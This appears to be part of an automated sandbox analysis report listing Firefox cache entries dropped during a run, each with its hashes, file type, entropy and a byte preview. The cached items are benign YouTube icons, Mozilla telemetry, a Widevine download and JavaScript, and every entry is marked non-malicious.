SSDEEP:	384:1oURjwgXK7aAq9LDXxdZ7G0tXL74dESBH1USqKZHIw857nVqN4mAQlpmVTaIdXOo:1pwR7aAqFxvG0tXL74dES35p8V4AQlpK
MD5:	18482765F92F02C8DE98BA6F0B3D9EDD
SHA1:	5ED97ADFA424337A27D7778476860A2F9348FE22
SHA-256:	968A5071C580EA4FAB45B323B45020B5FC0748591C074CCB2575F33F335D29E3
SHA-512:	8115B3D6A80D98266247DEBA559DE06AD08E2F140D04F65D24B120F6A6F85872A4F0BF05FDFECC812EFF0E3748D5BFBC23C139AED8BC8F8F607A94DEDCBCFD33
Malicious:	false
Reputation:	unknown
Preview:	(function(){'use strict';var g;function h(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}.var k="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function aa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}.var l=aa(this);function m(a,b){if(b)a:{var c=l;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&k(c,a,{configurable:!0,writable:!0,value:b})}}.m("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}.function c(f,y){this.g=f;k(this,"description",{configurable:!0,writable:!0,value:y}

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\07D2FEDB4561505E1BA6723AA2314AB6AE8C3F24

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2650800128
Category:	dropped
Size (bytes):	9577
Entropy (8bit):	6.1509473493470415
Encrypted:	false
SSDEEP:	192:LhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEwED:ozwHUL75Vf8eehqrufWWCt2BVlXs
MD5:	A492CF49E1A86A715D3086E1A62CAC20
SHA1:	CEB2CA828224D01A081E443423DBC48A01DC993F
SHA-256:	45A3523CDDD2EBFBC773C3DC8717966A75DA356CF482F317D8BCCED57A0856EE
SHA-512:	09D41FFF89AA039C8F705AAC1F6F9F725995A09BDA472F3CF04F82A3640CA4B1731027F36C2483F10D825D5250FFC28216B772AFA58B11C7E0ACF39EE073B39D
Malicious:	false
Reputation:	unknown
Preview:	..........-....0.._%.Z.$u8G.b.2i...,..l..!\|..mwp..e..Oi}h.s.l0~..".gB....iP..........PX...=.5._..XcX..w......6.wH.h.....P..3.!.1.4B.3.Z....m.k..tK.....F..?.^........e.due.dvFv..g......m....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/arrow_down/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWgBS

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\09444BD0D61BB42233E6BE4E25328A8102578DB7

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3036676096
Category:	dropped
Size (bytes):	9599
Entropy (8bit):	6.16742624088985
Encrypted:	false
SSDEEP:	192:aGhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEGEE:WzwHUL75Vf8eehqrufWWCt2BVl9X
MD5:	F41645A207D5B5310DF95E806E367B3B
SHA1:	EE1BBFB834F3E5C8497FB61B72226459F575444F
SHA-256:	35DB47EC8351C6315CC7BFD05A85A2B21E87703585A50A3D0AA4B220A5300827
SHA-512:	3C2632CC38BD568CFA0F9E96AD0A9CA135ACCF62DD278EC873939D9E8101D0B1E2796B5ABA28A4F1721B39C9E27D55907D526643A10890838871F3BEB3233270
Malicious:	false
Reputation:	unknown
Preview:	..........U....0.._....N..b.{......Y../.@6.B.sB.u3h.._..!.W.b.4.tZ...s...i.vN..}<.2.\|....q.y......p.A..+......qS.m..,F!.Y !QEE......f.:.Hf..KR.....@...T...7fM.~j>........+............e.due.duFw..g.}....l....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/x_mark/v4/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3Ygs

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\0F4119659087617ADB036D0FF9A0E941030D47BC

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 4194304000
Category:	dropped
Size (bytes):	9676
Entropy (8bit):	6.205846842114129
Encrypted:	false
SSDEEP:	192:eyChChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEwCEwT:e2zwHUL75Vf8eehqrufWWCt2BVlfCfT
MD5:	9BFED5029362BFC14CE00AC06E652821
SHA1:	AD9578B08A29890BAF34ABE133E66EC3F713D8CA
SHA-256:	21E9F423EC2E15419E8D871B1C10B9792F749A970B97533D93BC98133A924871
SHA-512:	8E1200D1696D685370C5DDF0D59E5B70EC8F1712BC8013E5C5A53578D6358063D3326D9CB5716CDCD195C5CAD86491F1457F6B6FD155E1449B3EEF83C04B4CF1
Malicious:	false
Reputation:	unknown
Preview:	..........%P.n.0...+.6q......y.1....Z..T... +>..'......w.?>...BE..7U.{_...\|[.y.]....\|._...!D.ZY..\|.....p.....QHX}...V!..j.#..Z....).KKM......Q..=.3l.Z.z.KC,....Hm>.:2.jK[.LY..r.i.&....U.#.].......l)E........>...$*.f...<......UCg.8....9-l....E............e.dve.dvFv..g.Y....t....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/location_point/v5/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNV

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\102AB3DDA799F5132C110420B2F46ECE218D2308

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	8054
Entropy (8bit):	6.037055149804261
Encrypted:	false
SSDEEP:	192:FJbV2GHyBXO49FgAfBKB2TWCDeBNbZovEpiW:FJxVHydO49aAfU2LkAcn
MD5:	E20AD924774611C138302BA7633DAAE1
SHA1:	2A146D8EDCFB73443679FB5324FB28B7DE797456
SHA-256:	BBD157EB3684D8F2F23263BDC1E590A6374812FC9485681BBD717945FE83A439
SHA-512:	3C8A564DECA95F69CADE5A4D9243E21F24328D0FFA32311BF5D3FFC72BC2787911DB00265342255FF6870A07317F918B55852B3A869DF16F2ABDF653D2262163
Malicious:	false
Reputation:	unknown
Preview:	.A.Z........e.dLe.dMFv..e.dM........a,~1705534501,:https://incoming.telemetry.mozilla.org/submit/firefox-desktop/messaging-system/1/b38522d7-1787-4855-a312-c27916e30610.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAX1MIIF8TCCA9mgAwIBAgIQAeBji5rfnEKbkKRu9rqqbTANBgkqhkiG9w0BAQsFADCBkjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xKjAoBgNVBAoMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDEqMCgGA1UEAwwhVGhlIFVuaXZlcnNlIFNlY3VyaXR5IENvbXBhbnkgTHRkMB4XDTI0MDExNjIzMzUzOVoXDTI1MDExNTIzMzUzOVowgYExCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMScwJQYDVQQDEx5pbmNvbWluZy50ZWxlbWV0cnkubW96aWxsYS5vcmcwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEIAoIBAQC20hRkz2cHrAqiprMow8s6eCX1stiAWM6NPWKHjVWP+TEK2iMuiOXOoxHa5qYNLnKbU1JQ7HykK0FE3dj1Ww3MN3amatnVeuD6uL/POgKfmulXiUpC03FTxo+4wzgEBWv

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\10DFB489E3A8E5B7CCD16D8AE6496A790A89606E

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2533359616
Category:	dropped
Size (bytes):	9567
Entropy (8bit):	6.155640800194589
Encrypted:	false
SSDEEP:	192:dSkgp7hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEwEL:dNgp4zwHUL75Vf8eehqrufWWCt2BVl7g
MD5:	AFD05CB959D884E077BD79542C6B5322
SHA1:	11E64505051992BDC4D58006462E8D2EB5455137
SHA-256:	C3B20D5D417B090755B5D8E003D31991B5F8AE57B26CCC462AF273056C085DCF
SHA-512:	488F95752826F98487DC9FAFBFAE8EC4830FF4CA26F5F24AEB6DBB2AA8A9484D4F69DF6E5B621BB63242C45470F9B8A86D8A737A03F6849449226A9B8863A10F
Malicious:	false
Reputation:	unknown
Preview:	............;..0........$..HE..}$..R.(X6..of..n..>}..".>..9.Y....%..g..c..-.....nQ..e.b9....k.wd.,...u..........7...4.t..}..a.:Pt.....c.R ......;!..........e.dqe.dqFv..g......j....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/copy/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWgBSKdH+vhc3ul

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\14FF324BEE8F75081FE9C38BDD3C16ACD05B921B

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, Apple iTunes ALAC/AAC-LC (.M4A) Audio
Category:	dropped
Size (bytes):	22648
Entropy (8bit):	6.266884441425532
Encrypted:	false
SSDEEP:	384:r9zEfS7jHgkwYJi0Q8zKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVURRRK:roS7jiYi0HgdjAudZNL28eehq4w2BVl
MD5:	096F15C238486249F498D7E66FDDAC79
SHA1:	9D77DC3737F550C8E89E7A7264A4F922932E8C5A
SHA-256:	BED4925E134F3561FF5F9125864A5DFF4EA68FE36B6A20B86F0CD92213BFBB95
SHA-512:	E46ACA92CB8B199BC4F38DD7EEDD03CE1598B516C1F5AC892575A994FA612E72B6283BBCE2DBAF40EF7DAF6DFD76EBBFDD26F909E3D98C25AFF7FC3EC2DD440F
Malicious:	false
Reputation:	unknown
Preview:	... ftypM4A ....M4A mp42isom........moov...lmvhd.............D..`.................................................@..................................%trak...\tkhd....................`.................................................@...............mdia... mdhd.............D..`.U......"hdlr........soun.................wminf....smhd...........$dinf....dref............url .......;stbl...gstsd...........Wmp4a.........................D.....3esds........"........@.............................stts...................(stsc...................................tstsz...............................................................{...q...h...d..._..._...W...^...b...U...K........stco...............\|....udta....meta......."hdlr........mdirappl.............oilst.....nam....data........cancel....cpil....data.............pgap....data.............tmpo....data.............(.too... data........iTunes 12.3.1.23....----....mean....com.apple.iTunes....name....iTunSMPB....data........ 00000000 00000840 0000

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\17B080547FD28D9D0B0BCA03D667BE60D0078722

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9396
Entropy (8bit):	6.145493644055196
Encrypted:	false
SSDEEP:	192:rHhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmWeweI0:rkzwHUL75Vf8eehqrufWWCt2BVm7NI0
MD5:	E12634FD8674740C35F289CC16BB3AFA
SHA1:	DDE17D55B5C4EF7B2D2C2F9E8BEFA3ECA29998E8
SHA-256:	79E0900B6E3440989F3847B9B31604BF85B506B57C1C1C951C35378F90F97BB7
SHA-512:	5223EA292576317CA3A9EE1800699535F00BB839D9CFFDC6F174AE24C62C02B2ABA8720356A28E668ADB269B320F66C68EC56E6ECAF3A8E5E44D49ED489D1BC8
Malicious:	false
Reputation:	unknown
Preview:	....'F...}.t.T5.@.N.1..j.c.h.a.D.`B.j..mg$...y......D.....S.~.$.T[S\|."S?.U...I.q.5t.#...,.IyL.E..J...4...H=.bq.X..... ..('..+.TP1K%1.....9.&h....\|........e.due.dvFv..g..e...~....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_outline/waveform/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDA

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\1A18D39EA0BECF8F3559D94E8A13ED10DF8C93A9

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 50397184
Category:	dropped
Size (bytes):	9677
Entropy (8bit):	6.204753538356243
Encrypted:	false
SSDEEP:	192:eeKxhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEHEW:ekzwHUL75Vf8eehqrufWWCt2BVlUp
MD5:	4938B28B2E59C6793AAEBD3C752FDFA8
SHA1:	CB3CFE49431AD0B465752C1527CE4FBBC501686C
SHA-256:	94AECBD36F61E0F55AD4D661CFBB319A2AC17AC5D365478FABEDCEBBDCC6E138
SHA-512:	2FDDE3BE54BB439C7D0546938F49ABA2A257B6572B9F2DE9AE543369816B27AAD10057E294958EF7D3E8D120A265EC8B7111B0728EF8B387188FC8D664E005A9
Malicious:	false
Reputation:	unknown
Preview:	..........%P.n.0...B.h..d..=t...$..8MP.r./..._w.........y~}4.,..>.o.;..E.(....ao...........V[........\:s..a.c.r..GA. .t....Zn..x..........T..V0.ettfl........s..a..!.+.)j....!..A..D....*U.(.MM....P.;.5.F].G.. L6.0H!W....QU...M.j..........eO...\oJ._-........e.due.dvFv..g.M....l....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/trophy/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgN

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\1A26C38B4374137C7AB08289FCFEBABEF293E5E8

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	8054
Entropy (8bit):	6.037697656458001
Encrypted:	false
SSDEEP:	192:KJbV2GHyBXO49FgAfBKB2TWCDeBNbZovEpiW:KJxVHydO49aAfU2LkAcn
MD5:	519ECC68635098697B90DA4C7C2F1D4F
SHA1:	FB78BACDD864BF8527640E6811CB2856EE747249
SHA-256:	9D40360F8C0E1ED9E5528DA7CA086803CEB2C26A37380FDDE47FADAE500C5F5E
SHA-512:	A0D6B504A2C3D72620F2E13655AF8F560E7DAF93C3E01E44CC9E14862FA407EC037DDFBCCBC2301C8DA0A6C05E02AB96F7E30EF95353496B1404856B825DBE1B
Malicious:	false
Reputation:	unknown
Preview:	v<..........e.dMe.dMFv..e.dM........a,~1705534503,:https://incoming.telemetry.mozilla.org/submit/firefox-desktop/messaging-system/1/b3e287d1-bcec-4242-9158-4e1296363490.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAX1MIIF8TCCA9mgAwIBAgIQAeBji5rfnEKbkKRu9rqqbTANBgkqhkiG9w0BAQsFADCBkjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xKjAoBgNVBAoMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDEqMCgGA1UEAwwhVGhlIFVuaXZlcnNlIFNlY3VyaXR5IENvbXBhbnkgTHRkMB4XDTI0MDExNjIzMzUzOVoXDTI1MDExNTIzMzUzOVowgYExCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMScwJQYDVQQDEx5pbmNvbWluZy50ZWxlbWV0cnkubW96aWxsYS5vcmcwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEIAoIBAQC20hRkz2cHrAqiprMow8s6eCX1stiAWM6NPWKHjVWP+TEK2iMuiOXOoxHa5qYNLnKbU1JQ7HykK0FE3dj1Ww3MN3amatnVeuD6uL/POgKfmulXiUpC03FTxo+4wzgEBWv

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\1DB616CB6F16B069A8FA479BBE7DE6BA1B5DC9F4

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3875536896
Category:	dropped
Size (bytes):	9642
Entropy (8bit):	6.195412948268721
Encrypted:	false
SSDEEP:	192:wFhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEwOEwi:wuzwHUL75Vf8eehqrufWWCt2BVl9O9i
MD5:	805D0F91C563A502B1F0944F813CACBD
SHA1:	0237A6B6277BCD055C697473983B671F7A1CAAE5
SHA-256:	549F9AD15F620C1C201FDFEEDFD7AA66A9A8C9B1CB5D155C567B339C47082234
SHA-512:	9726EAB02384AEE235E751877566A5706830BC4DC3383F770960E4C8BB7D096938AF19E08D6BFE8F7B7B2198DD50995C4FF001525D5ED1A77BD098EB3132B218
Malicious:	false
Reputation:	unknown
Preview:	..........5..j.0.E.e.^#.F..b{..d_.`..&......8t...{8...6..z.Y..K..9Wk..x..]..;!...2.2...l.......!D.....z...%.i0...'K.4.-.!.r0.vKxh&/Q.q.Cxu+[%..N.F..J.5#V.....6...D$(........K.JR.~...>....c...t...&..M.D..a.....4n..O.?....;....A.>@.........e.due.duFv..g..0...i....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/mic/v8/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHR

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\1E3866B584D906DD8CB8840AB2070142E2DEA38A

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	113
Entropy (8bit):	4.8869157726610375
Encrypted:	false
SSDEEP:	3:sVqmwp5XNWbdUyGLk8rLtPQ0IIt:0qFpJEbdOx2Kt
MD5:	3F105153273950D3878020C74EA5027D
SHA1:	D1197FF92ED8E7733631A783942AE5E86F6F3EED
SHA-256:	9695DB7EA40B2A0299629E30100373418BEFB4F5CCE108C4E728AC7BB42DD4A8
SHA-512:	700FBBABA34A6FED54EEE4792D082F731C3EE93C812444FE82D7E697DA0C1FFDE296FC0284FF1CECBEEB54A5E934E5E2F67922D23F7503A08EB3E6E47A1E18B7
Malicious:	false
Reputation:	unknown
Preview:	............e.d8e.d8Fv.........H....:https://redirector.gvt1.com/edgedl/widevine-cdm/4.10.2557.0-win-x64.zip.....

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\1FF9FC80CF39083D96E02A745517FF30CC74D1A1

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	17479
Entropy (8bit):	6.053313715627718
Encrypted:	false
SSDEEP:	384:izKZHI1wS2djAud9tNtzL28eehqrufWWCt2BVLz2zh52zh2:cgdjAudZNL28eehq4w2BVmzhUzh2
MD5:	6D15F43D7CFFCF9321536DFA3552B822
SHA1:	F968381E8A62F4CED8EEAD58D7E030DDA429822E
SHA-256:	8024D529BDF4FAF71D91FF5768C820C7B3ABF0690C3905F7D058A7ADCD6EE821
SHA-512:	B7B28455607D53305A27FE1E4797F2DFF0B61D1B4061FD146BB79D0769D9852DD82B2DC8595B5C67A9F05B1FA1676176D4931B594B00B628D7F2AAB6B5FAFEE6
Malicious:	false
Reputation:	unknown
Preview:	.x..D.9_....C.....U.v..a.E2....q.R.E..??.P.....Im....x..y9g\o....?k[OQ\o.PR.U.om.\..>.-W.....sP.......g.\S9..:.......J.........e.dPe.dQFv..e.dQ...G....O^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/sw.js.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAA51MIIOcTCCDVmgAwIBAgIRAJzbVJkabEyACozv2aKHNfcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwMzMxWhcNMjQwMzA0MDgwMzMwWjAXMRUwEwYDVQQDDAwqLmdvb2dsZS5jb20wWTATBgcqhkjOPQIBBggqhk